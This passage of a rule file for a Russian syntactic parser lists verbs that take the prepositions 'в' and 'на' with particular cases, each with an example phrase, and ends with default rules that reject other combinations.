Пронесите стол в дверь. rus_verbs:вынести{}, // Надо вынести примечания в конец. rus_verbs:устроить{}, // Она устроила сына в школу. rus_verbs:угодить{}, // Она угодила головой в дверь. rus_verbs:отвернуться{}, // Она резко отвернулась в сторону. rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль. rus_verbs:обратить{}, // Война обратила город в развалины. rus_verbs:сойтись{}, // Мы сошлись в школьные годы. rus_verbs:приехать{}, // Мы приехали в положенный час. rus_verbs:встать{}, // Дети встали в круг. rus_verbs:впасть{}, // Из-за болезни он впал в нужду. rus_verbs:придти{}, // придти в упадок rus_verbs:заявить{}, // Надо заявить в милицию о краже. rus_verbs:заявлять{}, // заявлять в полицию rus_verbs:ехать{}, // Мы будем ехать в Орёл rus_verbs:окрашиваться{}, // окрашиваться в красный цвет rus_verbs:решить{}, // Дело решено в пользу истца. rus_verbs:сесть{}, // Она села в кресло rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало. rus_verbs:влезать{}, // он влезает в мою квартирку rus_verbs:попасться{}, // в мою ловушку попалась мышь rus_verbs:лететь{}, // Мы летим в Орёл ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень ГЛ_ИНФ(взять), // Коля взял в руку камень ГЛ_ИНФ(поехать), // поехать в круиз ГЛ_ИНФ(подать), // подать в отставку инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море ГЛ_ИНФ(постучать) // постучать в дверь } // Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems fact гл_предл { if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } } then return true } #endregion Винительный // Все остальные варианты по умолчанию запрещаем. fact гл_предл { if context { * предлог:в{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:в{} * } then return false,-5 } #endregion Предлог_В #region Предлог_НА // ------------------- С ПРЕДЛОГОМ 'НА' --------------------------- #region ПРЕДЛОЖНЫЙ // НА+предложный падеж: // ЛЕЖАТЬ НА СТОЛЕ #region VerbList wordentry_set Гл_НА_Предл= { rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ) rus_verbs:ПРОСТУПИТЬ{}, // rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ) rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ) rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив) rus_verbs:ЗАМИРАТЬ{}, // rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ) rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ) rus_verbs:УПОЛЗАТЬ{}, // rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ) rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ) rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ) rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ) rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ) rus_verbs:искриться{}, rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ) rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ) rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ) rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ) rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ) rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ) rus_verbs:отвести{}, // отвести душу на людях rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра rus_verbs:сойтись{}, rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ) rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ) rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ) глагол:ДОСТИЧЬ{}, инфинитив:ДОСТИЧЬ{}, rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте rus_verbs:РАСКЛАДЫВАТЬ{}, rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ) rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ) rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ) rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ) rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ) rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ) rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта rus_verbs:подпрыгивать{}, rus_verbs:высветиться{}, // на компьютере высветится твоя подпись rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА) rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл) rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл) rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА) rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл) rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл) rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл) rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл) rus_verbs:ОТТОЧИТЬ{}, rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА) rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл) инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл) глагол:НАХОДИТЬСЯ{ вид:несоверш }, прилагательное:находившийся{ вид:несоверш }, прилагательное:находящийся{ вид:несоверш }, деепричастие:находясь{}, rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл) rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА) rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА) rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл) rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА) rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл) rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА) rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА) rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА) rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА) rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА) rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА) rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл) rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА) rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА) rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА) rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА) rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА) rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА) rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл) rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл) rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на) rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к) rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на) глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте) деепричастие:вычитав{}, rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на) rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере rus_verbs:развалиться{}, // Антонио развалился на диване rus_verbs:улечься{}, // Антонио улегся на полу rus_verbs:зарубить{}, // Заруби себе на носу. rus_verbs:ценить{}, // Его ценят на заводе. rus_verbs:вернуться{}, // Отец вернулся на закате. rus_verbs:шить{}, // Вы умеете шить на машинке? rus_verbs:бить{}, // Скот бьют на бойне. rus_verbs:выехать{}, // Мы выехали на рассвете. rus_verbs:валяться{}, // На полу валяется бумага. rus_verbs:разложить{}, // она разложила полотенце на песке rus_verbs:заниматься{}, // я занимаюсь на тренажере rus_verbs:позаниматься{}, rus_verbs:порхать{}, // порхать на лугу rus_verbs:пресекать{}, // пресекать на корню rus_verbs:изъясняться{}, // изъясняться на непонятном языке rus_verbs:развесить{}, // развесить на столбах rus_verbs:обрасти{}, // обрасти на южной части rus_verbs:откладываться{}, // откладываться на стенках артерий rus_verbs:уносить{}, // уносить на носилках rus_verbs:проплыть{}, // проплыть на плоту rus_verbs:подъезжать{}, // подъезжать на повозках rus_verbs:пульсировать{}, // пульсировать на лбу rus_verbs:рассесться{}, // птицы расселись на ветках rus_verbs:застопориться{}, // застопориться на первом пункте rus_verbs:изловить{}, // изловить на окраинах rus_verbs:покататься{}, // покататься на машинках rus_verbs:залопотать{}, // залопотать на неизвестном языке rus_verbs:растягивать{}, // растягивать на станке rus_verbs:поделывать{}, // поделывать на пляже rus_verbs:подстеречь{}, // подстеречь на площадке rus_verbs:проектировать{}, // проектировать на компьютере rus_verbs:притулиться{}, // притулиться на кушетке rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище rus_verbs:пострелять{}, // пострелять на испытательном полигоне rus_verbs:засиживаться{}, // засиживаться на работе rus_verbs:нежиться{}, // нежиться на солнышке rus_verbs:притомиться{}, // притомиться на рабочем месте rus_verbs:поселяться{}, // поселяться на чердаке rus_verbs:потягиваться{}, // потягиваться на земле rus_verbs:отлеживаться{}, // отлеживаться на койке rus_verbs:протаранить{}, // протаранить на танке rus_verbs:гарцевать{}, // гарцевать на коне rus_verbs:облупиться{}, // облупиться на носу rus_verbs:оговорить{}, // оговорить на собеседовании rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте rus_verbs:отпечатать{}, // отпечатать на картоне rus_verbs:сэкономить{}, // сэкономить на мелочах rus_verbs:покатать{}, // покатать на пони rus_verbs:колесить{}, // колесить на старой машине rus_verbs:понастроить{}, // понастроить на участках rus_verbs:поджарить{}, // поджарить на костре rus_verbs:узнаваться{}, // узнаваться на фотографии rus_verbs:отощать{}, // отощать на казенных харчах rus_verbs:редеть{}, // редеть на макушке rus_verbs:оглашать{}, // оглашать на общем собрании rus_verbs:лопотать{}, // лопотать на иврите rus_verbs:пригреть{}, // пригреть на груди rus_verbs:консультироваться{}, // консультироваться на форуме rus_verbs:приноситься{}, // приноситься на одежде rus_verbs:сушиться{}, // сушиться на балконе rus_verbs:наследить{}, // наследить на полу rus_verbs:нагреться{}, // нагреться на солнце rus_verbs:рыбачить{}, // рыбачить на озере rus_verbs:прокатить{}, // прокатить на выборах rus_verbs:запинаться{}, // запинаться на ровном месте rus_verbs:отрубиться{}, // отрубиться на мягкой подушке rus_verbs:заморозить{}, // заморозить на улице rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе rus_verbs:просохнуть{}, // просохнуть на батарее rus_verbs:развозить{}, // развозить на велосипеде rus_verbs:прикорнуть{}, // прикорнуть на диванчике rus_verbs:отпечататься{}, // отпечататься на коже rus_verbs:выявлять{}, // выявлять на таможне rus_verbs:расставлять{}, // расставлять на башнях rus_verbs:прокрутить{}, // прокрутить на пальце rus_verbs:умываться{}, // умываться на улице rus_verbs:пересказывать{}, // пересказывать на страницах романа rus_verbs:удалять{}, // удалять на пуховике rus_verbs:хозяйничать{}, // хозяйничать на складе rus_verbs:оперировать{}, // оперировать на поле боя rus_verbs:поносить{}, // поносить на голове rus_verbs:замурлыкать{}, // замурлыкать на коленях rus_verbs:передвигать{}, // передвигать на тележке rus_verbs:прочертить{}, // прочертить на земле rus_verbs:колдовать{}, // колдовать на кухне rus_verbs:отвозить{}, // отвозить на казенном транспорте rus_verbs:трахать{}, // трахать на природе rus_verbs:мастерить{}, // мастерить на кухне rus_verbs:ремонтировать{}, // ремонтировать на коленке rus_verbs:развезти{}, // развезти на велосипеде rus_verbs:робеть{}, // робеть на сцене инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш }, деепричастие:реализовав{}, деепричастие:реализуя{}, rus_verbs:покаяться{}, // покаяться на смертном одре rus_verbs:специализироваться{}, // специализироваться на тестировании rus_verbs:попрыгать{}, // попрыгать на батуте rus_verbs:переписывать{}, // переписывать на столе rus_verbs:расписывать{}, // расписывать на доске rus_verbs:зажимать{}, // зажимать на запястье rus_verbs:практиковаться{}, // практиковаться на мышах rus_verbs:уединиться{}, // уединиться на чердаке rus_verbs:подохнуть{}, // подохнуть на чужбине rus_verbs:приподниматься{}, // приподниматься на руках rus_verbs:уродиться{}, // уродиться на полях rus_verbs:продолжиться{}, // продолжиться на улице rus_verbs:посапывать{}, // посапывать на диване rus_verbs:ободрать{}, // ободрать на спине rus_verbs:скрючиться{}, // скрючиться на песке rus_verbs:тормознуть{}, // тормознуть на перекрестке rus_verbs:лютовать{}, // лютовать на хуторе rus_verbs:зарегистрировать{}, // зарегистрировать на сайте rus_verbs:переждать{}, // переждать на вершине холма rus_verbs:доминировать{}, // доминировать на территории rus_verbs:публиковать{}, // публиковать на сайте rus_verbs:морщить{}, // морщить на лбу rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном rus_verbs:подрабатывать{}, // подрабатывать на рынке rus_verbs:репетировать{}, // репетировать на заднем дворе rus_verbs:подвернуть{}, // подвернуть на брусчатке rus_verbs:зашелестеть{}, // зашелестеть на ветру rus_verbs:расчесывать{}, // расчесывать на спине rus_verbs:одевать{}, // одевать на рынке rus_verbs:испечь{}, // испечь на углях rus_verbs:сбрить{}, // сбрить на затылке rus_verbs:согреться{}, // согреться на печке rus_verbs:замаячить{}, // замаячить на горизонте rus_verbs:пересчитывать{}, // пересчитывать на пальцах rus_verbs:галдеть{}, // галдеть на крыльце rus_verbs:переплыть{}, // переплыть на плоту rus_verbs:передохнуть{}, // передохнуть на скамейке rus_verbs:прижиться{}, // прижиться на ферме rus_verbs:переправляться{}, // переправляться на плотах rus_verbs:накупить{}, // накупить на блошином рынке rus_verbs:проторчать{}, // проторчать на виду rus_verbs:мокнуть{}, // мокнуть на улице rus_verbs:застукать{}, // застукать на камбузе rus_verbs:завязывать{}, // завязывать на ботинках rus_verbs:повисать{}, // повисать на ветке rus_verbs:подвизаться{}, // подвизаться на государственной службе rus_verbs:кормиться{}, // кормиться на болоте rus_verbs:покурить{}, // покурить на улице rus_verbs:зимовать{}, // зимовать на болотах rus_verbs:застегивать{}, // застегивать на гимнастерке rus_verbs:поигрывать{}, // поигрывать на гитаре rus_verbs:погореть{}, // погореть на махинациях с землей rus_verbs:кувыркаться{}, // кувыркаться на батуте rus_verbs:похрапывать{}, // похрапывать на диване rus_verbs:пригревать{}, // пригревать на груди rus_verbs:завязнуть{}, // завязнуть на болоте rus_verbs:шастать{}, // шастать на втором этаже rus_verbs:заночевать{}, // заночевать на сеновале rus_verbs:отсиживаться{}, // отсиживаться на чердаке rus_verbs:мчать{}, // мчать на байке rus_verbs:сгнить{}, // сгнить на урановых рудниках rus_verbs:тренировать{}, // тренировать на манекенах rus_verbs:повеселиться{}, // повеселиться на празднике rus_verbs:измучиться{}, // измучиться на болоте rus_verbs:увянуть{}, // увянуть на подоконнике rus_verbs:раскрутить{}, // раскрутить на оси rus_verbs:выцвести{}, // выцвести на солнечном свету rus_verbs:изготовлять{}, // изготовлять на коленке rus_verbs:гнездиться{}, // гнездиться на вершине дерева rus_verbs:разогнаться{}, // разогнаться на мотоцикле rus_verbs:излагаться{}, // излагаться на страницах доклада rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге rus_verbs:расчесать{}, // расчесать на макушке rus_verbs:плавиться{}, // плавиться на солнце rus_verbs:редактировать{}, // редактировать на ноутбуке rus_verbs:подскакивать{}, // подскакивать на месте rus_verbs:покупаться{}, // покупаться на рынке rus_verbs:промышлять{}, // промышлять на мелководье rus_verbs:приобретаться{}, // приобретаться на распродажах rus_verbs:наигрывать{}, // наигрывать на банджо rus_verbs:маневрировать{}, // маневрировать на флангах rus_verbs:запечатлеться{}, // запечатлеться на записях камер rus_verbs:укрывать{}, // укрывать на чердаке rus_verbs:подорваться{}, // подорваться на фугасе rus_verbs:закрепиться{}, // закрепиться на занятых позициях rus_verbs:громыхать{}, // громыхать на кухне инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу деепричастие:подвигавшись{}, rus_verbs:добываться{}, // добываться на территории Анголы rus_verbs:приплясывать{}, // приплясывать на сцене rus_verbs:доживать{}, // доживать на больничной койке rus_verbs:отпраздновать{}, // отпраздновать на работе rus_verbs:сгубить{}, // сгубить на корню rus_verbs:схоронить{}, // схоронить на кладбище rus_verbs:тускнеть{}, // тускнеть на солнце rus_verbs:скопить{}, // скопить на счету rus_verbs:помыть{}, // помыть на своем этаже rus_verbs:пороть{}, // пороть на конюшне rus_verbs:наличествовать{}, // наличествовать на складе rus_verbs:нащупывать{}, // нащупывать на полке rus_verbs:змеиться{}, // змеиться на дне rus_verbs:пожелтеть{}, // пожелтеть на солнце rus_verbs:заостриться{}, // заостриться на конце rus_verbs:свезти{}, // свезти на поле rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре rus_verbs:подкрутить{}, // подкрутить на приборной панели rus_verbs:рубиться{}, // рубиться на мечах rus_verbs:сиживать{}, // сиживать на крыльце rus_verbs:тараторить{}, // тараторить на иностранном языке rus_verbs:теплеть{}, // теплеть на сердце rus_verbs:покачаться{}, // покачаться на ветке rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче rus_verbs:развязывать{}, // развязывать на ботинках rus_verbs:подвозить{}, // подвозить на мотороллере rus_verbs:вышивать{}, // вышивать на рубашке rus_verbs:скупать{}, // скупать на открытом рынке rus_verbs:оформлять{}, // оформлять на встрече rus_verbs:распускаться{}, // распускаться на клумбах rus_verbs:прогореть{}, // прогореть на спекуляциях rus_verbs:приползти{}, // приползти на коленях rus_verbs:загореть{}, // загореть на пляже rus_verbs:остудить{}, // остудить на балконе rus_verbs:нарвать{}, // нарвать на поляне rus_verbs:издохнуть{}, // издохнуть на болоте rus_verbs:разгружать{}, // разгружать на дороге rus_verbs:произрастать{}, // произрастать на болотах rus_verbs:разуться{}, // разуться на коврике rus_verbs:сооружать{}, // сооружать на площади rus_verbs:зачитывать{}, // зачитывать на митинге rus_verbs:уместиться{}, // уместиться на ладони rus_verbs:закупить{}, // закупить на рынке rus_verbs:горланить{}, // горланить на улице rus_verbs:экономить{}, // экономить на спичках rus_verbs:исправлять{}, // исправлять на доске rus_verbs:расслабляться{}, // расслабляться на лежаке rus_verbs:скапливаться{}, // скапливаться на крыше rus_verbs:сплетничать{}, // сплетничать на скамеечке rus_verbs:отъезжать{}, // отъезжать на лимузине rus_verbs:отчитывать{}, // отчитывать на собрании rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке rus_verbs:потчевать{}, // потчевать на лаврах rus_verbs:окопаться{}, // окопаться на окраине rus_verbs:загорать{}, // загорать на пляже rus_verbs:обгореть{}, // обгореть на солнце rus_verbs:распознавать{}, // распознавать на фотографии rus_verbs:заплетаться{}, // заплетаться на макушке rus_verbs:перегреться{}, // перегреться на жаре rus_verbs:подметать{}, // подметать на крыльце rus_verbs:нарисоваться{}, // нарисоваться на горизонте rus_verbs:проскакивать{}, // проскакивать на экране rus_verbs:попивать{}, // попивать на балконе чай rus_verbs:отплывать{}, // отплывать на лодке rus_verbs:чирикать{}, // чирикать на ветках rus_verbs:скупить{}, // скупить на оптовых базах rus_verbs:наколоть{}, // наколоть на коже картинку rus_verbs:созревать{}, // созревать на ветке rus_verbs:проколоться{}, // проколоться на мелочи rus_verbs:крутнуться{}, // крутнуться на заднем колесе rus_verbs:переночевать{}, // переночевать на постоялом дворе rus_verbs:концентрироваться{}, // концентрироваться на фильтре rus_verbs:одичать{}, // одичать на хуторе rus_verbs:спасаться{}, // спасаются на лодке rus_verbs:доказываться{}, // доказываться на страницах книги rus_verbs:познаваться{}, // познаваться на ринге rus_verbs:замыкаться{}, // замыкаться на металлическом предмете rus_verbs:заприметить{}, // заприметить на пригорке rus_verbs:продержать{}, // продержать на морозе rus_verbs:форсировать{}, // форсировать на плотах rus_verbs:сохнуть{}, // сохнуть на солнце rus_verbs:выявить{}, // выявить на поверхности rus_verbs:заседать{}, // заседать на кафедре rus_verbs:расплачиваться{}, // расплачиваться на выходе rus_verbs:светлеть{}, // светлеть на горизонте rus_verbs:залепетать{}, // залепетать на незнакомом языке rus_verbs:подсчитывать{}, // подсчитывать на пальцах rus_verbs:зарыть{}, // зарыть на пустыре rus_verbs:сформироваться{}, // сформироваться на месте rus_verbs:развертываться{}, // развертываться на площадке rus_verbs:набивать{}, // набивать на манекенах rus_verbs:замерзать{}, // замерзать на ветру rus_verbs:схватывать{}, // схватывать на лету rus_verbs:перевестись{}, // перевестись на Руси rus_verbs:смешивать{}, // смешивать на блюдце rus_verbs:прождать{}, // прождать на входе rus_verbs:мерзнуть{}, // мерзнуть на ветру rus_verbs:растирать{}, // растирать на коже rus_verbs:переспать{}, // переспал на сеновале rus_verbs:рассекать{}, // рассекать на скутере rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне rus_verbs:дрыхнуть{}, // дрыхнуть на диване rus_verbs:распять{}, // распять на кресте rus_verbs:запечься{}, // запечься на костре rus_verbs:застилать{}, // застилать на балконе rus_verbs:сыскаться{}, // сыскаться на огороде rus_verbs:разориться{}, // разориться на продаже спичек rus_verbs:переделать{}, // переделать на станке rus_verbs:разъяснять{}, // разъяснять на страницах газеты rus_verbs:поседеть{}, // поседеть на висках rus_verbs:протащить{}, // протащить на спине rus_verbs:осуществиться{}, // осуществиться на деле rus_verbs:селиться{}, // селиться на окраине rus_verbs:оплачивать{}, // оплачивать на первой кассе rus_verbs:переворачивать{}, // переворачивать на сковородке rus_verbs:упражняться{}, // упражняться на батуте rus_verbs:испробовать{}, // испробовать на себе rus_verbs:разгладиться{}, // разгладиться на спине rus_verbs:рисоваться{}, // рисоваться на стекле rus_verbs:продрогнуть{}, // продрогнуть на морозе rus_verbs:пометить{}, // пометить на доске rus_verbs:приютить{}, // приютить на чердаке rus_verbs:избирать{}, // избирать на первых свободных выборах rus_verbs:затеваться{}, // затеваться на матче rus_verbs:уплывать{}, // уплывать на катере rus_verbs:замерцать{}, // замерцать на рекламном щите rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне rus_verbs:запираться{}, // запираться на чердаке rus_verbs:загубить{}, // загубить на корню rus_verbs:развеяться{}, // развеяться на природе rus_verbs:съезжаться{}, // съезжаться на лимузинах rus_verbs:потанцевать{}, // потанцевать на могиле rus_verbs:дохнуть{}, // дохнуть на солнце rus_verbs:припарковаться{}, // припарковаться на газоне rus_verbs:отхватить{}, // отхватить на распродаже rus_verbs:остывать{}, // остывать на улице rus_verbs:переваривать{}, // переваривать на высокой ветке rus_verbs:подвесить{}, // подвесить на веревке rus_verbs:хвастать{}, // хвастать на работе rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая rus_verbs:разлечься{}, // разлечься на полу rus_verbs:очертить{}, // очертить на полу rus_verbs:председательствовать{}, // председательствовать на собрании rus_verbs:сконфузиться{}, // сконфузиться на сцене rus_verbs:выявляться{}, // выявляться на ринге rus_verbs:крутануться{}, // крутануться на заднем колесе rus_verbs:караулить{}, // караулить на входе rus_verbs:перечислять{}, // перечислять на пальцах rus_verbs:обрабатывать{}, // обрабатывать на станке rus_verbs:настигать{}, // настигать на берегу rus_verbs:разгуливать{}, // разгуливать на берегу rus_verbs:насиловать{}, // насиловать на пляже rus_verbs:поредеть{}, // поредеть на макушке rus_verbs:учитывать{}, // учитывать на балансе rus_verbs:зарождаться{}, // зарождаться на большой глубине rus_verbs:распространять{}, // распространять на сайтах rus_verbs:пировать{}, // пировать на вершине холма rus_verbs:начертать{}, // начертать на стене rus_verbs:расцветать{}, // расцветать на подоконнике rus_verbs:умнеть{}, // умнеть на глазах rus_verbs:царствовать{}, // царствовать на окраине rus_verbs:закрутиться{}, // закрутиться на работе rus_verbs:отработать{}, // отработать на шахте rus_verbs:полечь{}, // полечь на поле брани rus_verbs:щебетать{}, // щебетать на ветке rus_verbs:подчеркиваться{}, // подчеркиваться на сайте rus_verbs:посеять{}, // посеять на другом поле rus_verbs:замечаться{}, // замечаться на пастбище rus_verbs:просчитать{}, // просчитать на пальцах 